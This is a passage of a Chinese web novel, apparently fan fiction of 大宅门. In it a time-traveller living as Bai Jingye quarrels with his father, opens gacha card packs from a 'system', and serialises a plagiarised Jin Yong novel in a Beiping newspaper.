白敬业接过一看,心里惊呼好家伙!
单子上记载了白家大宅门老老少少的口味喜好。
上到七十多岁的二老太太,下至三岁的白占元。
三个房头的主人口味偏好,全在这上边。
要不说人家这生意能做到京城头一份!
味道先放一边,主打的一个情绪价值拉满。
白敬业挑挑拣拣给二房头每人一份。
唯独缺了他老爹白景琦的那份。
并且每份里都没有牛舌饼。
“少爷,您是不是忘了,还有七老爷呢,他最爱牛舌饼。”
白敬业斜眼看着小胡:“他爱吃什么吃什么,让他自己买去!”
白敬业心里是有怨气的,一棍子差点给自己**。
给他断了经济来源,耽误征服世界的梦想。
还想吃牛舌饼?门也没有啊!
白敬业一拍脑门:“对了掌柜的,上好的京八件也包上一份,老**管爱吃这口。”
小胡连忙拒绝:“少爷这…”
“这什么这,老**管算是我爷爷辈的长辈,应当应分的。”
白敬业此举倒不是收买人心,一份糕点小恩小惠的能收买谁啊?
但你说这种举动一点用没有?也不见得。
小事最能暖人心。
小胡闻言心里一暖,觉得自己家大少爷,从出院归来好似变了一个人,没有以前的骄狂,待人也和善许多。
掌柜的忙活了能有半个钟头,几份点心都装好打上标识。
“少爷,都装好了,您看是带着还是给您送到府里?”
白敬业点点头:“带着吧,门口有马车都装车上,月底家里结去。”
看见没,这孙子学的多快,买东西不问价直接家里结钱。
反正也不花他的钱。
等出了点心铺,白敬业的肚子就开始咕噜噜乱叫。
一上午早饭没吃,来了串开胃的糖葫芦,早就饿的不行了。
他在街边四处扫了一圈,扭头看向白占元:“儿砸,馋烤鸭了么。”
白占元一阵猛点头:“烤鸭…好吃!”
白敬业一笑随即带着众人走向旁边的福聚德。
满北平最有名的饭庄,号称天下第一楼。
到了福聚德门前,王李四兄弟却守着马车驻步不前。
白敬业回头一看问道:“怎么了哥几个?走啊?”
**讪笑道:“少爷您去吧,我们看着马车,买点烧饼啥的就行。”
白敬业哈哈一笑:“别介啊,跟少爷我溜溜逛一上午,今天少爷我请客,想吃什么点什么,赶紧的甭废话!”
四人一听白敬业这么说,都高兴的跟着往里走。
他们也没来这吃过饭,福聚
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德一顿的消费顶的上他们半个月的工资。
“哎呦,白少爷,有日子没见您了,听说您去安国,什么时候回来的。”
白敬业一拍堂头老常的肩膀,“回来一周了,最近买卖兴隆啊常头。”
“托您的福,白少爷,小店今天人有点多,包房都已经满了,就剩里边两张小桌,您看这…”
老常一看白敬业带着这些人,有些犯怵。
他知道这位白家少爷最好面子,俩人也得点一最大的包厢。
“没事,就里边吧”
“我谢谢您,您里边请,咱有日子没见,我得好好伺候您。”
到里边落座分了两桌,茶水、干果摆了几碟。
“少爷您看今天咱们吃点什么?来几只鸭子?”
白敬业吐出瓜子皮笑道:“一只”
“哎呦,少爷您这么多人吃一只?”
“啧”白敬业咋舌,“什么话?一人一只!”
白敬业是这儿的常客,也爱和堂头老常闹几句玩笑。
伙计陆续往上走菜的功夫,就听见楼上有人下来。
一个个鬼头**眼的,吆五喝六大喊大叫。
“杨爷!今这顿可是不错。”
“多谢杨爷”
“嗨,没说的,好吃咱们天天来!”
白敬业和小胡顺着声音看过去,两人眉头一皱。
被几人围在中间的正是白敬业苦思夜想的杨亦增!
白敬业捏开一个花生低声道:“这孙子也在,他旁边那几个都是谁啊?”
小胡摇了摇头压低声音:“都是跟着他一起的地痞无赖,专门帮他收印子钱,我听说还帮着他往外放**。”
他们这一桌坐在最里边,而且中午饭口人多,所以杨亦增并没看见白敬业几人。
菜都上齐后,白敬业冲着另一桌说道:“哥几个今天能喝多少喝多少,菜不够找老常,吃好了为止。”
“谢谢少爷!”
“谢谢少爷!”
小胡一边给白敬业斟酒,一边帮白占元卷烤鸭卷。
等白占元吃的差不多,白敬业安排常头带着他到旁边玩去。
“小胡,你得帮我办两件事。”
“少爷您说。”
白敬业抿了一口酒:“你在府里找两个可靠细心的,这段时间专门帮我盯着杨亦增,记住!他的一举一动,包括晚上在哪睡觉都给我打探一清二楚!”
第7章 两件事
小胡听完在心里撇了撇嘴,好嘛,咱家这位少爷和七老爷真不愧是亲爷俩。
俩人说的话、交代的事一模一样。
这尼玛是拿我当大清血滴子呢?
但跟踪杨亦增的事他可不敢轻易答应,于是反问道,“少爷,您跟踪他是想?”
“呵呵”
白敬业笑着干了一盅酒:“这王八蛋在府里干的那点事你不是不知道吧?”
“打着白家的旗号在外边坑蒙拐骗,别的不说,用来赎我那十二万大洋,那得沾了多少人的血?得有多少人骂我们白家是王八蛋。”
小胡的脸色变得凝重,不自觉的点了点头。
白敬业说着话锋一转,眼神变得凌厉:“另外小胡,我抽**这事是他教唆的你知道么?”
小胡有些尴尬的笑了笑没敢搭言。
“这次住院我算是想明白,我奶奶岁数大了,白家如今这么困难,我得担起来一些事。”
白敬业演技一流,猛灌一口酒,仿佛真的浪子回头。
“小胡,你看过红楼梦么,这千里之堤溃于蚁穴,大事我管不了,可这蛀虫我必须清掉。”
小胡在心里寻思了好一会儿,才咬牙开口:“好,少爷,您说怎么办我就怎么办。”
他一家三代人都在白家当总管,早就已经和白家密不可分。
忠心先不用提,白家不好他又能好哪去。
但他又有些担忧的问道:“少爷,那您为什么不让我告诉七老爷?还有您得答应我,不能干出格的事,不然七老爷那,我是真担不住。”
白敬业听完连连苦笑:“告诉我爸爸?就凭我在家里的名声,说出去的话谁能信?总要有点证据。”
他眼圈发红,好像要挤出几点猫泪。
小胡看他的样子,心里也不好受,心想自家少爷这是真要改邪归正。
“我明白了少爷,这事您交给我,您说第二件事。”
白敬业感激的拍拍小胡的肩膀,随后正色道:“第二件事简单,你帮我在市面上打听一下,四九城有几家是最近新开的报社,哪家的销量不太好?”
“报社?”小胡的表情有些疑惑,不知道白敬业要起什么幺蛾子。
“嗨,我不是刚出院么,估计惹了这么大祸,家里也不能给我安排活,合计写点东西赚点零花钱。”
小胡一听笑了起来:“少爷,这是好事啊!七老爷知道肯定高兴,您是北大国文系毕业,将来一定能成大作家!”
白敬业摆了摆手:“得了吧,什么大作家,来喝酒。”
小胡端起酒杯敬道,“少爷您放心,这两件事我一定给您办利索。”
“好!”
白敬业昨晚想了一晚上,还是决定当一把文抄公。
他思考了几条路,但这是在民国,你做什么都需要一个好名声!
就凭他现在的名声,可以说不如一条好狗,比人中黄都臭。
满北平打听打听,谁不知道白家有个造了价值七万两银子假九转金丹的白家大少爷!
改变名声最快的方法,就是登报做一个文人!
只要你的文采好,有几部好作品,在民国立马能成为人人敬仰的人!
包括后世自媒体,还有不少人替那些汉奸文人洗白。
说什么文明的到来,某某继承了真正的文明。
这就叫影响力!
所以他决定薅一下穿越者必薅的羊毛——金老爷子。
酒过三巡菜过五味,这顿饭吃的白敬业是满嘴流油。
这时候的鸭子都是散养出来的小眼鸭,后世的饲料鸭根本没法比。
他一个人干了一只半的鸭子,撑得直打嗝。
白敬业回到大宅门已经是下午两点左右。
他把送给老太太那盒点心挑出来,冲小胡吩咐道:“把我妈那盒拿出来,一会儿我亲自送,其他的你看着安排了。”
“好的少爷”
白家的老宅和新宅离的并不远。
白敬业也没用人送,自己溜溜达达的进了老宅。
“槐花,你说咱们府上这位大少爷也真挺抗揍,那么粗的杠子都没打死他。”
老宅内,丫鬟香秀正抱着狗和槐花闲聊。
槐花不敢背后编排主家。
用胳膊肘拐了她一下,那意思让她别瞎说。
香秀不以为意翻了个白眼:“本来嘛,你看他闯的祸,输了十二万大洋!在我们乡下三块大洋够过一个月的。”
“要我说还不如醒不过来呢。”
“汪汪汪!”
香秀越说越没六,突然抱在肩膀上的小狗大顶子汪汪叫了起来。
“别叫,别叫!”
香秀拍拍大顶子,和槐花两人下意识的回头。
“啊!”
“大少爷!”
二人像见了鬼似的看着背后的人,吓得香秀连狗都没抱住,大顶子也掉了下来。
白敬业不知什么时候站在两人不远处,笑呵呵的看着二人。
大顶子看见白敬业非常亲近,跑过去直转圈。
这条狗还是小时候他喜欢,二老太太才养的。
白敬业就当没听见两人说的话,低头逗起狗来。
哪有人背后不讲究人的,更何况前身干的这点烂事,让人咬嘴皮子很正常。
再说堂堂白家大少爷,跟个黄毛丫头撕吧起来,多**没面子。
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要收拾她也得找机会。
逗了会狗,白敬业才向两人问道:“我奶奶呢?”
“老太太在屋里休息…”
槐花的话还没说完,就听见房间里传出一道苍老的声音。
“谁啊?谁在外边呢?”
“奶奶是我,敬业”
“老太太,是大少爷。”
“快!快让他进来!”
白敬业挑帘拢走进屋内,见奶奶白文氏正要从床上起来。
他赶紧上前搀扶,让老太太靠在床头:“哎呦,老佛爷慢着点~”
“哈哈哈,你个小猴儿,什么时候出院的,怎么才来看奶奶。”
“昨天出的院,就是一个小感冒不严重,这不今天我就看您来了,奶奶你看我买什么了?”
白敬业一边拆着点心匣子、一边偷眼打量老太太。
仿佛间他好像看见了自己前世的奶奶。
身为一个合格的穿越者,他必然是孤儿大军中的一员。
他是奶奶一手拉扯大的。
二老太太身上的那股刚毅的气质和他奶奶极其相似。
“哎呦~豌豆黄”
白文氏抚摸着白敬业的头,满眼都是慈爱。
印象里这还是大孙子第一次给她买东西。
“槐花,拿个碟子和羹匙来。”白敬业冲着槐花招呼一声。
“哎”
槐花拿过餐具,白文氏抬眼看了她一眼。
槐花马上心领神会,转身走进里间屋。
“奶奶,您尝尝,这可是我逛了一上午,专门给您买的。”
“好!好!”白文氏眉眼里都带着笑意尝了一口。
“这次去安国怎么样啊?学到点什么没有?”
白敬业想了一会低头小声嘟囔着:“奶奶,您也不是不知道,我…我不是这块料。”
白文氏见状细声安慰道:“甭灰心,慢慢来,家里这么多人教你,早晚能学的会。”
“哎”
白文氏也没深往下问,反而凑近低声道:“跟奶奶说实话,是不是手里缺钱了?”
白敬业的脸‘刷’的红了起来,支支吾吾的说道:“没…没有。”
“呵呵呵呵,你呀,还跟奶奶耍心眼”白文氏用手指戳了他一下。
这时槐花拿着一小沓银票放在二老太太床边。
“这是五百,你拿着花,不够再跟奶奶要。”
“奶奶,这…这太多了。”
“不多,你也长大了,手里得有钱,该知道怎么花钱,但记住要走正路。”
他可太知道怎么花钱了,一晚上赌输十二万大洋,还有比他更会花的么。
白敬业手里捏着银票,心里十分不是滋味。
第8章 要不您再给我一杠子?
五百大洋
白敬业昨晚还辗转反侧不知能不能弄到手。
现在这笔钱就在他手里攥着。
可他一点都兴奋不起来。
他是抱着算计的心态来的,可面对老太太时从内心往外有股羞愧。
他无耻的利用了一个奶奶对孙子的爱。
就好像一个恶作剧的小孩子,明明被父母识破,却还接着陪他演下去一样。
“老太太醒了么?”
“胡大爷好,老太太醒了正等着您呢。”
白敬业陪着老太太说话之时,外边传来声响。
**管拄着拐杖走进屋内,“大少爷也在”
白敬业赶忙起身:“胡爷爷,您身子骨还好。”
“好,我还得谢谢大少爷呢。”
老太太满头雾水不明所以疑问道:“谢什么?”
“大少爷今天给家里人买了不少点心,还给我带了一份。”
“嗨,胡爷爷您老是长辈,应该的。”
“呦~是么”
老太太满脸堆笑,心想孙子是长大了,知道惦记人了,随后又故意板着脸:“我还以为这是专门给我买的,没想到谁都有。”
“哈哈哈”
“哈哈,奶奶下回我专门给您买,就您有独一份。”
“还得是我这好孙子呦,行啦,我也该起了。”
说话间,槐花伺候着老太太洗漱装扮。
“奶奶您这是准备干什么去?”
“跟你老姑奶奶还有大奶奶一起赏菊花去。”
“那我扶着点老佛爷,咱们出宫喽。”
“哈哈哈”白敬业一举一动逗得老太太哈哈大笑。
出门后,白敬业转身回了新宅。
“七老爷,您回来了。”
“嗯,回来了”
新宅门口,白景琦风尘仆仆的走进大门。
身后跟着大总管王喜光。
“王总管,海淀那边的花园子你得让他加快点进度,一定要赶在老太太70大寿前完工。”
“是,七老爷,我明个就催催包工头。”
白景琦点了点头:“行,没什么事你就先回去吧。”
说完后他独自一人走进正房。
走到房间门口,他听见里边黄春正和儿子聊天。
“这二百块你拿着,你爸断了你的分红,还不让账房给你钱,你得省着点花。”
白景琦听见妻子偷摸给钱,脸一下就拉了下来。
“咣当”
用力一推房门走了进去。
白敬业看见老爹阴沉着脸,他眉头皱了皱站起身。
他憋了好半天才吐出一个字:“爸”
两世为人这还是第一次叫别人爸,有些不太适应。
“哼,什么时候回来的啊。”
白景琦鼻子哼哼着爹味十足,大马金刀的坐到太师椅上。
白敬业一听这个语气,心里就有股无名火。
心想,“你打也打了、骂也骂了,还整这么重的爹味干什么。”
就好像恨不得这点父亲的威严,全在儿子身上找回来一样。
“昨天”
白敬业双手插兜,来了个奉系站姿,从嗓子眼里蹦出来两个字。
白景琦看他吊儿郎当的站姿气就不打一处来。
用手指着他就开喷:“你看看你啊!贼眉鼠眼、不学无术的样,谁教的你站没个站像。
“我告诉你,从今天开始家里一分钱都不给你!你要是再敢给我惹祸就给我滚出……”
“您不用跟我嚷嚷!”
还没等白景琦说完,白敬业一嗓子就吼了出来!
这一嗓子把白景琦和黄春都吼懵了。
白敬业脸上带着怒气,为什么呢?
第一他前世也没感受过父爱,所以也不知道怎么和爹相处,很讨厌说教。
第二他的记忆里,白景琦小时候基本没管过白敬业,所以一时间他也替白敬业鸣不平。
接管了身体,他现在就是白敬业,吃谁向着谁嘛。
白敬业指着自己:“我贼眉鼠眼,我不学无术?谁教的我?反正不是你教的!”
“我小时候你在哪呢?我小时候一年见过你几次!”
“家里除了我奶奶护着我和我妈,连他妈下人都敢背后说我们两句!那时候您在哪呢?”
“我想起来了,那时候您在济南和人家腻歪着呢吧!”
白敬业当当当几句话,给白景琦砸迷糊了。
他从没想过自己儿子敢这么说话。
“敬业!你少说几句!”
黄春急忙上前护住白敬业,生怕他挨打。
“妈,您甭拉着我。”,然后用手一指白景琦:“我告诉您!您千万别给我钱,您只要给我钱,我他妈就还去赌还去嫖!”
“咔嚓”
白景琦一把摔碎手边的茶杯,“反了!反了!我他妈抽你!”
“不用您抽我!”
白敬业走到门边抄起顶门杠子,一把扔在白景琦脚下。
“您拿这个!这个比我那屋还粗,您再给我一杠子,争取这回彻底打死我!”
“敬业…你干什么,你先回屋。”黄春连忙往外推白敬业。
白景琦被儿子的举动气的浑身发抖,一句话都说不出来。
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“打不打?不打我可走了!哼!”
白敬业见他半天不说话,冷哼一声翻了个白眼,大步流星走出正房。
这时正房外丫鬟仆人聚了一堆,小胡担忧的往里望着。
看见白敬业出来,赶紧冲周围招手:“都别看了,散了散了都干活去。”
“少爷,您这是干什么?都挺高兴的,您就跟七老爷服个软。”
白敬业被气的发笑:“行啦,没什么事,我交代你的事尽快办。”
“好的,少爷”
交代完,白敬业转身回了自己三厅院的小书房。
一进书房他就跟做贼似的把房门反锁,连窗帘都给拉上。
他坐在书桌前,郑重其事的将那五百银票摆在桌上。
两只眼睛跟特么冬天饿急了的耗子似的直放绿光。
“系统”
他心里默念一声呼唤出系统。
眼前出现他的属性面板和卡包界面。
白敬业搓了搓手,心里还有那么一丢丢的小紧张。
他用意念点击充值按钮。
界面上弹出了一个数字框。
他输入500三个数字,桌上的五百银票消失不见。
【充值成功】
原本灰色的卡包亮了起来,上面勾勒出几道神秘的花纹。
白敬业拉出一包放在开启的界面。
卡包像充气似的开始膨胀。
“噗!”的一声,卡包爆开化作五张卡片,按照五角星状排列。
白敬业怀着激动的心情,点开最上面一张。
耳边传来系统系统的声音:“普通!”
下一刻他激动的脸变得黢黑。
普通卡:一碗香喷喷、骚哄哄,鬼子岩井最喜欢的卤煮火烧。
“槽!一百大洋买了一碗卤煮??”
“**,一百大洋我能把卤煮摊包了!”
“这他妈什么破逼系统!”
警告:“请宿主不要辱骂系统!”
白敬业压着火气开启下一张。
稀有:属性卡一张,可随意加点
“这张还算可以。”
稀有:一套穿起来魅力十足的中山装。
尼玛啊??什么鬼!
普通:美式单兵口粮一份(1942款)
还剩最后一张卡,白敬业双手合十,“天灵灵、地灵灵,给我一张金色传说行不行!开!”
白敬业闭着双眼,耳边传来“史诗!”的声音。
一阵紫色光芒亮起
史诗卡:**P08雕花版(配备100发**、两个**),德国空军元帅赫尔曼·戈林同款。
第9章 射雕
看着卡槽中的**p08,白敬业十分欣喜。
他迫不及待的问道:“怎么使用卡牌?”
【将卡牌放置在足够的空间默念召唤】
白敬业将卡牌移动到书桌上默念:“召唤”
卡牌化作点点星光。
一个木质枪盒、**盒还有一些配件浮现在桌上。
他打开木盒,一把精美无比的**躺在其中。
枪身上精美的雕花、**制的枪把,他像抚摸娘们似的摸了起来。
**P08可以说是二战中,做工最精细的**。采用一种肘节起落式的闭锁机构,而且射击精度极高。
落榜美术家的审美从不用质疑。
唯一的缺点是这把枪的造价太高,远超其他**。
但这不妨碍士兵对这把枪的喜爱,几乎是二战后期所有西线英美士兵的梦中情枪。
这把枪还有个异父异母的穷亲戚,鬼子模仿生产的南部十四式。
某个鬼子战俘用它**连开七枪都卡壳。
总结起来**P08=艺术品,南部十四=废品。
白敬业拿在手里把玩着,拉动下**特有的肘节式锁机。
“咔咔”
清脆的声音听着是那么悦耳。
总体来说他开的这一包是亏的。
这张卡在史诗卡中性价比并不高,但架不住有元帅同款加成。
白敬业心满意足的将枪和**锁在柜子里。
看着那张属性卡,他沉思了片刻。
最后还是决定加在耐力上。
这具身体太弱了!
走时间长了都喘,虽然系统清除了他的火因瘾。
可身体素质还是要一点点来。
都做好以后,他关闭系统,拿出笔和纸继续文抄公大业。
……
正房内,白景琦一口接一口,又在抽着他那**袋。
他整不明白,自己那奸懒馋滑的儿子,怎么从安国回来像变了个人似的。
从前见了自己是唯唯诺诺,现在是有男人样了。
可是专门顶他这当爹的,这不翻天么?
旁边的黄春倒是美滋滋的吃着儿子给买的点心。
她的性子是软弱,但这么多年她的心里能没有怨言?
白景琦在济南瞎搞的时候,她在宅门里受了多少流言蜚语。
她自己不敢说,可白敬业今天这一番话彻底把她多年的火气都发了出来。
乳腺都畅通了。
她将点心匣往前递了递:“景琦,你也尝尝,儿子还是第一次给咱们买吃的。”
白景琦扫了一眼,一看也没自己爱吃的。
他撇了撇嘴:“无事献殷勤非奸即盗!他有那好心?就是想献殷勤从你手里要钱!我还不了解他!”
“你!好心当成驴肝肺,爱吃不吃!”
正这时,白占元手捧点心,迈着小短腿闯了进来:“爷爷、奶奶”
“慢点大孙子”
白景琦看见孙子脸上终于有了点笑意,他将占元揽在怀里:“今儿都干嘛啦。”
“爸爸带我去了天桥,还给我买了点心,爷爷奶奶你们吃。”
“哈哈哈,还得是我孙子”
白景琦往点心匣里扫了一下,心里有点纳闷。
他冲旁边的莲心吩咐道:“你去,把小胡给我找过来。”
“七老爷您找我?”
“你们今天都上哪,干什么去了?”
小胡原原本本把今天的行程讲了一遍,唯独没说杨亦增的事。
“哦,呵呵,连老姑奶奶那份他都给带了。”
白景琦心里听着还挺高兴。
“对了,少爷还说让我帮他找个报社,说是想写点东西,赚些零花钱。”
小胡的本意是想让白景琦高兴高兴,毕竟写文章、小说是个正事,有逼格!
白景琦心里确实挺高兴,感叹儿子终于琢磨正事,可嘴上依旧嘲讽道。
“就他?哎呦,你可别吓我,他还写东西,他要是能写出东西来,那牛屁股上都能开出十八朵牡丹花来!”
“白景琦!”
黄春终于忍不住怒道:“你干什么?儿子好不容易想做点正事?有当爹的这么说儿子的么!你还监视他,你…你要在这样我就搬出去和儿子单过!”
白景琦咂摸咂摸嘴,也没敢还嘴,“得得,你就惯着他吧”
“还有,我看这点心匣里怎么都没有牛舌饼啊?桂香村做牛舌饼的师傅病了?”
小胡看了眼白景琦,低下头没敢说话。
“怎么了?说啊?”
“少爷说您有钱,您爱吃什么自己买去。”
“混账!孽障!小王八蛋!”
一连两天,白敬业都窝在家里写稿子。
除了陪老太太和母亲黄春吃饭、聊天以外,几乎一步没出书房。
他这个人就这性格。
对他好的,他愿意亲近。
反之绝不会热脸贴人家冷屁股。
“少爷,已经快拉闸了,要不要我给您弄点宵夜?”小丫鬟木棉见白敬业有些疲惫,细声问道。
白敬业打了个哈欠,将头靠在椅背上:“算了别麻烦了”
“那我给您揉揉肩吧”
“好”
白敬业闭着眼,感受小丫头的两只柔夷在两肩按动。
鼻子还传来她身上淡淡的香味,一时间无比惬意
“少爷,很久没看见您这么用功,您
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都写的什么呀?”
“想知道?”
“嗯嗯嗯”小丫头不住的点头。
“那少爷就给你念念。”
白敬业找出第一回的稿纸,声情并茂的读道:“钱塘江浩浩江水,日日夜夜无穷休…可是那金兵占了我大宋天下!……”
没错,白敬业抄的正是金老爷子的《射雕》。
前世他看的小说也不少,但符合这个年代的,还得是金老爷子的。
包衣的人品不做评价,但射雕这部作品还是不错的。
古大师那种,刀是冷的、心是冷的,这孙子冻住了,实在是太非主流。
射雕三部曲中的家国大义、侠义情怀,也符合这个时代的特征。
最重要的是受众面特别广,通俗易懂。
他相信《射雕》的提前面世,一定能为日后的抗日战争埋下伏笔。
用文字的力量来激起民众的反抗情绪。
直到白敬业读完第一回风雪惊变,小丫头听的如痴如醉。
“少爷您写的真好,官兵真坏,就知道欺负老百姓。”
“包惜弱后来怎么了,还有李萍呢?她的孩子保住了么?”
白敬业哈哈一乐,坏笑道:“想知道?”
“嗯嗯,想”
“啧,少爷我今天身上有点痒,要不一会洗澡你给我搓搓背,我就告诉你。”
“哎呀~少爷你真坏,不理你了。”小丫头羞红了脸,低头不敢看他。
正这时,“咚咚”敲门声响起。
“少爷,您歇了么?”
白敬业一听是小胡,坐好招呼了一声:“没呢,进来吧”
小胡进屋,没想到小丫鬟也在,用眼神示意下白敬业。
白敬业明白这件事情有眉目了。
浴室里,白敬业到底没让小木棉帮他搓背。
为此木棉还有些小失望。
小胡吭哧吭哧帮白敬业搓着后背,一边说道。
“少爷,我让**、王武两兄弟跟着杨亦增两天,您猜怎么着?”
“怎么着?”
“他不光在外边放印子钱和**,还整了不少假药,打着白家老号的名头,卖给那些穷苦人家。”
杨亦增的这个假药可不是白敬业那种偷工减料的,而是假的没边的破山草。
“这个王八蛋!你接着说。”
“他不是一直都没孩子么,估计坏事做多了生不出,就在外边养了个外宅,每周都会去几次,在外宅那边住。”
“少爷要我说,咱们赶紧告诉七老爷,不能让他在这么败坏咱们家的名声。”
白敬业嘴角轻勾,轻声道:“不着急,让他作吧!等我这两天忙完再想办法收拾他!”
第11章 这是特么拿我当抖加用呢?
“白公子,初次见面有失远迎,还望您海涵。”
李主编在办公室门口相迎主动伸出手。
“李主编客气了”
李主编打量白敬业一番,不禁有些疑惑。
这和跪在药神庙门前,那个姿态窘迫的白敬业大不相同。
面相透露着一股十足的贵气。
眉宇之间还有些英气。
尤其这身白色的中山装,显得整个人气宇轩昂。
说一句上人之姿、人中龙凤也不为过。
他哪里知道,现如今的白敬业已经换了一个灵魂。
而且这段时间戒掉以前那些恶**,气色也逐渐恢复。
最主要的有系统出品的皮肤加成。
将白敬业的气质提升一个档次。
系统出品必是精品,早上换好衣服后,都差点给小木棉迷淌汤了。
“请进”
进了办公室几人落座,互相寒暄了几句
等助理给几人端上茶后。
李主编才开口问道:“白公子今日前来有何贵干?是府上要定我们的报纸么?”
白敬业点点头:“正有此意,一来是想订报。”
“这二嘛,我在家中写了些东西,想请李主编斧正,看看能不能在咱们这儿连载。”
白敬业说着从公文包中拿出稿件递了过去。
“哦?”李主编一听来了兴趣。
他知道白敬业是北大国文系毕业。
今天一见面对他的感观非常好。
当下接过认真研读。
简介上已经将故事大体脉络写了出来。
“南宋年间的武侠小说,这倒是不多见。”
李主编心里默念一句,随即翻开正文观看。
这一看眼睛便挪不开了,完全沉浸在故事情节中。
一直看到第三回,江南七怪一诺千金寻到李萍母子,才意犹未尽的放下稿子。
如果不是害怕太过失礼,让白敬业等的时间太长,他一定会继续看下去。
“白公子大才!您写的这部小说真是让我眼前一亮。”
“如今市面上的武侠小说多为个人侠义、传记故事,像您写的这种太新颖了,而且白话文通俗易懂,这绝对是武侠小说里程碑式的作品。”
白敬业心虚的摸了摸鼻子,心想,“金老爷子的作品能不好么,那可是爽文鼻祖。”
把金老的作品放到后世那个年代,或许有人读完觉得索然无味。
因为小说作品太多,从莫欺少年穷到横刀向渊,小说都快写烂了。
可放到民国时期,金老的作品就是降维式打击。
白敬业轻咳一声掩饰心虚:“李主编谬赞啦,您看我的这部作品能否在咱们报纸上连载。”
“当然!白公子您一定要放到我们报社,我可以做主给这部作品单开一个版面。”
李主编的话并不是无的放矢。
《京时报》现在销量不是很乐观。
所以他选择将筹码押到这部作品上。
李主编这么选择还有另一个原因,就是白敬业可不是一个500一单的素人。
他在文坛上是新人,可在北平城,他的名气可是大大的。
那句话怎么说的,黑红也是红!
所以李主编打定主意开始和白敬业谈起稿费的问题。
“白公子,稿费按照目前市面上的价格,武侠小说可以给到每千字5角-3元。”
“但您是新人所以普遍的报社,都会给您这部作品1元左右。”
白敬业点点头,来之前他了解过市场价,差不多是这个价钱。
“但您只要答应我一个条件,我可以给您提高到2元。”
白敬业听完来了兴趣,“请讲”
“我想给您写一篇传记文,大体的内容是白家继承人浪子回头投入文坛。”
“在这部小说开版时,放置在头版头条,也算是为这部小说预热,您看怎么样?”
白敬业心里呵呵直乐。
什么预热,就是特么的炒作。
打算拿我当抖加用呢?
民国期间炒作风盛行已久,比后世还要疯狂。
尤其在曲艺圈,这个骂那个,都是在炒作。
李主编的眼神中带着恳求,害怕白敬业不答应。
为啥?
因为这种传记肯定多多少少都会把白敬业以前干的烂事重提。
白敬业是谁?
百草厅少东家,大家子弟都有顾忌,谁都不愿意被抖搂出黑历史。
可他想错了,白敬业正等着一个扬名的机会呢。
白敬业假意面露难色:“这个?李主编您也知道我家里……”
“白公子,价钱咱们可以再商量。”
白敬业犹豫了几分钟一咬牙:“罢了,李主编就这个价吧,咱们第一次合作也算交个朋友!”
他之所以没还价,的确有交朋友的心思,这个年代和报社搞好关系,是有大用处的。
“白公子爽快!您这个朋友,我李某人交定了,白公子以后有需要我们做的,必当尽心竭力。”
白敬业拱手抱拳:“李兄,别的不求,还希望您撰文时手下留情,毕竟家里人都看着呢。”
“白公子放心,关于文章我一定亲自操刀,一定会给您正面形象,毕竟是为了小说预热嘛。”
随后,二人敲定好连载的具体细节、签订合同,预计三五日后开
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版。
等送走白敬业,李主编召集手下几个小编。
让他们都写一些关于武侠小说的软文,打算提前让市场热起来。
他似乎看到了《京时报》在京城大卖、万人疯抢的场景,一时间热血澎湃!
回去的路上,小胡拎着沉甸甸的包袱。
里面装的全是大洋。
他的脸上洋溢的全是对白敬业的钦佩之情。
“少爷,您真是太厉害了!160多块大洋,七老爷要是知道了肯定高兴!”
“哈哈,这算什么?以后少爷赚钱的法子多的去了。”
“走,少爷请你吃顿好的,再给你置办身行头。”
“哎!谢谢少爷!”
小胡由衷的高兴,没想到自家少爷赚了钱,第一件事还想着自己。
人心啊,都是一点点暖起来的。
……
“九红,这是这个月的分红。”
杨亦增把一沓银票放在杨九红的面前。
总共大概两千块。
杨九红看着皱起了眉头,“哥,印子钱该停就停吧,你现在也不缺钱,景琦要知道你还在放,肯定不能饶你。”
“嘿嘿,快停了,还有几笔收回来,我立马停手。”
“再说了,你手里也要有钱,这大宅门里只有咱们俩是亲人,其他人都白给!”
“没咱们这钱,他拿什么赎他的儿子,哼!拿钱的时候怎么不嫌弃带血啊!”
不得不说,杨亦增这畜生PUA是一把好手。
“景琦说了,你的钱过了年就给你。等年后我求他给你弄点正经生意,别再干这些缺德事了。”
杨亦增眼珠转了转:“行,妹妹我听你的。”
杨九红点点头话锋一转,“我怎么听嫂子说你在外边养了个外宅?”
“嗨,妹妹,你说你嫂子也不生养,时间长了咱们老杨家不就绝后了么,等百年后咱们拿什么脸面见爹娘。”
杨九红一听,心里寻思下也叹了口气。
“唉,能生就生,实在不行的话就抱养一个,这女人啊跟了你一场,你可不能辜负她。”
杨九红的话不知道在说给杨亦增听,还是在说给自己听。
“行,我知道,我下午还有事就不陪你了,让你嫂子陪你。”
杨亦增告别后转身进了在大宅门里自己的房间。
杨妻正苦着脸绣鞋底子,见杨亦增阴着脸进来就知道不好,“当…当家的,你回来了。”
“哗啦!”
杨亦增把桌上的东西扔了一地,抬手就给媳妇一个脆的。
“啪!你个不下蛋的老母鸡,再敢上九红那嚼舌根子!我他妈打死你!”
第12章 浪子回头金不换
“呵~呦,豆汁~呦!”
“肉~包~”
“伙计,俩果子、俩肉包,再饶一碗老豆腐。”
“得嘞,马上来!”
深秋时节清晨已有一丝凉意,可这凉意却给早集添上些许烟火气。
“瞧一瞧看一看啦,京时报头版头条!白家少东家浪子回头,开创新武侠小说之先河!”
“大爷,您来份报纸呢?京时报连载小说,百草厅少东家写的。”
正咔哧咔哧嚼油条的客官,把嘴撇的跟特么大马猴似的:“那孙子能写出来什么好玩意,爷我瞜瞜!”
说着他在桌上排出两个大子儿。
“大爷您拿好。”
小报童收起铜板接着走街串巷的叫卖。
头版头条上正是白敬业的照片。
身穿白色中山装,侧身眺望远方。
“哼!一看就他妈是小白脸子。”
男人嘲讽了一句,翻到小说的版面。
“射雕英雄传,名起的还挺有意思。”
这一眼下去便沉浸其中。
随着时间变化,街上的行人逐渐多了起来。
一开始大家听见白敬业这三个字,都不由自主的发笑。
白家几辈子不出的这么一个人才。
**药那是出了名的,所以都抱着看热闹的心思购买一份。
都想看看这位大少爷又出什么洋相。
可当大家看到小说的内容,都会不由自主的感叹一句。
“这孙子写的**不错。”
前门外
从八旗子弟沦落到拉洋车的克五。
手中拿着报纸对几个车夫三吹六哨。
“来来来,克五爷给你们念念啊!先说好,中午这顿你们大伙儿得请请我,我要吃猪头肉卷饼!”
“行啊克五,你念吧,中午大伙犒劳犒劳你。”
“是啊,念吧。”
几个不认字的车夫都跟着起哄。
克五拿了拿派头,清清嗓子:“钱塘江江水滔滔……”
一时间街头巷尾、茶馆酒肆都在议论着这部射雕英雄传。
李主编站在街上,满怀激动的心情。
心说自己这宝算是押对了。
从今天开始京时报彻底翻身了!
对,得给白公子涨稿费,一定得留住他。
